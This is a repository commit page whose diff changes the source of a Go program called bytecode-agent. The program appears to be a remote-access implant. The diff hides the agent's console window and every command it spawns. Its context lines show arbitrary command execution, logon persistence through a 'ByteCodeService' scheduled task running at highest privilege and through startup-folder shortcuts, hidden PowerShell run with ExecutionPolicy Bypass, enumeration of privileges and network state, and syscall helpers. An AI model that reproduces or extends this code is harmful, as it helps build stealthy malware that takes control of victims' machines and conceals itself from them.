Skip to content

Commit cb0fdaa

Browse files
committed
implemented a fix across the agent's codebase to ensure all commands are executed with the HideWindow attribute.
1 parent 6d9081c commit cb0fdaa

9 files changed

Lines changed: 69 additions & 7 deletions

File tree

agent/cmd/agent/gui_stub.go

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -4,3 +4,7 @@ package main
44
func ShowMessage(title, text string) {
55
// No-op for non-Windows platforms
66
}
7+
8+
func HideConsoleWindow() {
9+
// No-op for non-Windows platforms
10+
}

agent/cmd/agent/gui_windows.go

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -14,3 +14,15 @@ func ShowMessage(title, text string) {
1414
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(title))),
1515
0)
1616
}
17+
18+
func HideConsoleWindow() {
19+
kernel32 := syscall.NewLazyDLL("kernel32.dll")
20+
user32 := syscall.NewLazyDLL("user32.dll")
21+
getConsoleWindow := kernel32.NewProc("GetConsoleWindow")
22+
showWindow := user32.NewProc("ShowWindow")
23+
24+
hwnd, _, _ := getConsoleWindow.Call()
25+
if hwnd != 0 {
26+
showWindow.Call(hwnd, 0) // SW_HIDE = 0
27+
}
28+
}

agent/cmd/agent/main.go

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -24,6 +24,11 @@ func main() {
2424
// Load configuration
2525
cfg := config.Load()
2626

27+
// Hide console window in non-debug mode
28+
if !cfg.IsDebug {
29+
HideConsoleWindow()
30+
}
31+
2732
if cfg.IsDebug {
2833
fmt.Println(" [DEBUG MODE ENABLED]")
2934
fmt.Println(" Console window is visible and verbose logging is active.")

agent/internal/executor/executor.go

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -152,7 +152,9 @@ func collectSystemInfo() string {
152152
data["id"] = strings.TrimSpace(string(out))
153153
}
154154
case "windows":
155-
if out, err := exec.Command("whoami").Output(); err == nil {
155+
cmd := exec.Command("whoami")
156+
windows.HideConsole(cmd)
157+
if out, err := cmd.Output(); err == nil {
156158
data["user"] = strings.TrimSpace(string(out))
157159
}
158160
}
@@ -178,6 +180,7 @@ func executeCommand(payload interface{}) (string, error) {
178180
switch runtime.GOOS {
179181
case "windows":
180182
cmd = exec.Command("cmd", "/C", cmdStr)
183+
windows.HideConsole(cmd)
181184
default:
182185
cmd = exec.Command("/bin/sh", "-c", cmdStr)
183186
}

agent/internal/executor/network.go

Lines changed: 7 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,8 @@ import (
1010
"strings"
1111
"sync"
1212
"time"
13+
14+
"bytecode-agent/internal/windows"
1315
)
1416

1517
// getNetworkInfo returns network interface and connection info
@@ -37,6 +39,7 @@ func getNetworkInfo(_ interface{}) (string, error) {
3739
var cmd *exec.Cmd
3840
if runtime.GOOS == "windows" {
3941
cmd = exec.Command("netstat", "-ano")
42+
windows.HideConsole(cmd)
4043
} else {
4144
cmd = exec.Command("netstat", "-tulpn")
4245
}
@@ -50,6 +53,7 @@ func getNetworkInfo(_ interface{}) (string, error) {
5053
// ARP table
5154
sb.WriteString("\n=== ARP TABLE ===\n\n")
5255
arpCmd := exec.Command("arp", "-a")
56+
windows.HideConsole(arpCmd)
5357
arpOut, err := arpCmd.CombinedOutput()
5458
if err == nil {
5559
sb.WriteString(string(arpOut))
@@ -195,7 +199,9 @@ func getNetworkInfoJSON(_ interface{}) (string, error) {
195199

196200
if runtime.GOOS == "windows" {
197201
// Parse netstat -ano
198-
out, err := exec.Command("netstat", "-ano").Output()
202+
cmd := exec.Command("netstat", "-ano")
203+
windows.HideConsole(cmd)
204+
out, err := cmd.Output()
199205
if err == nil {
200206
lines := strings.Split(string(out), "\n")
201207
for _, line := range lines {

agent/internal/executor/persist_windows.go

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,8 @@ import (
88
"path/filepath"
99
"syscall"
1010
"unsafe"
11+
12+
"bytecode-agent/internal/windows"
1113
)
1214

1315
func addPersistence(payload interface{}) (string, error) {
@@ -106,6 +108,7 @@ func removeRegistryPersistence() (string, error) {
106108
func persistScheduledTask(exePath string) (string, error) {
107109
cmd := exec.Command("schtasks", "/create", "/tn", "ByteCodeService",
108110
"/tr", exePath, "/sc", "onlogon", "/rl", "highest", "/f")
111+
windows.HideConsole(cmd)
109112
out, err := cmd.CombinedOutput()
110113
if err != nil {
111114
return "", fmt.Errorf("schtasks failed: %s", string(out))
@@ -115,6 +118,7 @@ func persistScheduledTask(exePath string) (string, error) {
115118

116119
func removeScheduledTaskPersistence() (string, error) {
117120
cmd := exec.Command("schtasks", "/delete", "/tn", "ByteCodeService", "/f")
121+
windows.HideConsole(cmd)
118122
out, err := cmd.CombinedOutput()
119123
if err != nil {
120124
return "", fmt.Errorf("failed: %s", string(out))
@@ -129,6 +133,7 @@ func persistStartupFolder(exePath string) (string, error) {
129133

130134
psCmd := fmt.Sprintf(`$s=(New-Object -ComObject WScript.Shell).CreateShortcut('%s');$s.TargetPath='%s';$s.Save()`, linkName, exePath)
131135
cmd := exec.Command("powershell", "-WindowStyle", "Hidden", "-Command", psCmd)
136+
windows.HideConsole(cmd)
132137
out, err := cmd.CombinedOutput()
133138
if err != nil {
134139
return "", fmt.Errorf("failed: %s %v", string(out), err)

agent/internal/executor/privs.go

Lines changed: 12 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,8 @@ import (
77
"os/user"
88
"runtime"
99
"strings"
10+
11+
"bytecode-agent/internal/windows"
1012
)
1113

1214
// getPrivileges enumerates current user privileges and context
@@ -30,20 +32,26 @@ func getPrivileges() (string, error) {
3032
if runtime.GOOS == "windows" {
3133
// whoami /all
3234
sb.WriteString("\n--- whoami /priv ---\n")
33-
out, err := exec.Command("whoami", "/priv").CombinedOutput()
35+
cmd := exec.Command("whoami", "/priv")
36+
windows.HideConsole(cmd)
37+
out, err := cmd.CombinedOutput()
3438
if err == nil {
3539
sb.WriteString(string(out))
3640
}
3741

3842
sb.WriteString("\n--- whoami /groups ---\n")
39-
out, err = exec.Command("whoami", "/groups").CombinedOutput()
43+
cmd = exec.Command("whoami", "/groups")
44+
windows.HideConsole(cmd)
45+
out, err = cmd.CombinedOutput()
4046
if err == nil {
4147
sb.WriteString(string(out))
4248
}
4349

4450
// Check admin
4551
sb.WriteString("\n--- Admin Check ---\n")
46-
out, err = exec.Command("net", "session").CombinedOutput()
52+
cmd = exec.Command("net", "session")
53+
windows.HideConsole(cmd)
54+
out, err = cmd.CombinedOutput()
4755
if err == nil {
4856
sb.WriteString("Running as ADMINISTRATOR (elevated)\n")
4957
} else {
@@ -96,6 +104,7 @@ func executePowerShell(payload interface{}) (string, error) {
96104

97105
cmd := exec.Command("powershell.exe", "-NoProfile", "-NonInteractive",
98106
"-WindowStyle", "Hidden", "-ExecutionPolicy", "Bypass", "-Command", cmdStr)
107+
windows.HideConsole(cmd)
99108
out, err := cmd.CombinedOutput()
100109
if err != nil {
101110
return string(out), fmt.Errorf("powershell failed: %w", err)

agent/internal/windows/common_windows.go

Lines changed: 12 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,10 @@
33

44
package windows
55

6-
import "syscall"
6+
import (
7+
"os/exec"
8+
"syscall"
9+
)
710

811
var (
912
Kernel32 = syscall.NewLazyDLL("kernel32.dll")
@@ -15,6 +18,14 @@ var (
1518
ProcCloseHandle = Kernel32.NewProc("CloseHandle")
1619
)
1720

21+
// HideConsole prevents a console window from popping up when running a command
22+
func HideConsole(cmd *exec.Cmd) {
23+
if cmd.SysProcAttr == nil {
24+
cmd.SysProcAttr = &syscall.SysProcAttr{}
25+
}
26+
cmd.SysProcAttr.HideWindow = true
27+
}
28+
1829
const (
1930
// Memory Protections
2031
PAGE_NOACCESS = 0x01

agent/internal/windows/syscalls_stub.go

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,14 @@
11
//go:build !windows
22
package windows
33

4-
import "fmt"
4+
import (
5+
"fmt"
6+
"os/exec"
7+
)
8+
9+
func HideConsole(cmd *exec.Cmd) {
10+
// Do nothing on non-Windows platforms
11+
}
512

613
func GetSyscallID(functionName string) (uint32, error) {
714
return 0, fmt.Errorf("syscalls not supported on this platform")

0 commit comments

Comments
 (0)